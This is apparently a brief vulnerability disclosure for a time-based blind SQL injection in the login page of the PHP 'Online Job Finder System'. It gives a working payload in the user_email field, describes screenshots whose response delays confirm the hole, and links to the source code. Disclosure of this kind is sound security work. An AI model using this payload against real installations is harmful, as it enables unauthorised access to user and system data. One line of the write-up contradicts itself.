

SQL injection vulnerability exists in user\_email parameter of /admin/login.php file of Online Job Finder System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab displays a POST request to /eris/admin/login.php. The payload is: `btnLogin=&user_email=0'XOR(if(now()=sysdate())%2Csleep(4)%2C0))XOR'Z&user_pass=1`. A red box highlights the sleep time '4' in the payload, with a red arrow pointing to it. The 'Response' tab shows an HTTP 200 OK response with HTML content. A red box highlights the response size '4,007 millis' at the bottom right.

Sleep time is 1s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab displays a POST request to /eris/admin/login.php. The payload is: `btnLogin=&user_email=0'XOR(if(now()=sysdate())%2Csleep(1)%2C0))XOR'Z&user_pass=1`. A red box highlights the sleep time '1' in the payload, with a red arrow pointing to it. The 'Response' tab shows an HTTP 200 OK response with HTML content. A red box highlights the response size '1,006 millis' at the bottom right.

Payload: user\_email=0'XOR(if(now()=sysdate())%2Csleep(1)%2C0))XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/online-job-finder-system/>